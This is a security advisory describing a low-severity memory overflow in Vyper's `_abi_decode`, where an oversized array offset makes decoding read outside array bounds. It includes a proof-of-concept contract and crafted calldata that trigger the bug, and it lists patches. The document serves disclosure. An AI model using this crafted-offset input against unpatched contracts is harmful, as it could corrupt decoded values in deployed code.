Vyper's `_abi_decode` vulnerable to Memory Overflow
## Summary
If an excessively large value is specified as the starting index for an array in `_abi_decode`, it can cause the read position to overflow. This results in the decoding of values outside the intended array bounds, potentially leading to bugs in contracts that use arrays within `_abi_decode`. The advisory has been assigned low severity, because it is only observable if there is a memory write between two invocations of `abi_decode` on the same input.
## Proof of Concept
```vyper
event Pwn:
pass
@external
def f(x: Bytes[32 * 3]):
a: Bytes[32] = b"foo"
y: Bytes[32 * 3] = x
decoded_y1: Bytes[32] = _abi_decode(y, Bytes[32])
a = b"bar"
decoded_y2: Bytes[32] = _abi_decode(y, Bytes[32])
if decoded_y1 != decoded_y2:
log Pwn()
```
Sending the following calldata results in `Pwn` being emitted.
```
0xd45754f8
0000000000000000000000000000000000000000000000000000000000000020
0000000000000000000000000000000000000000000000000000000000000060
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffa0
```
### Patches
Patched in
https://github.com/vyperlang/vyper/pull/3925,
https://github.com/vyperlang/vyper/pull/4091,
https://github.com/vyperlang/vyper/pull/4144,
https://github.com/vyperlang/vyper/pull/4060.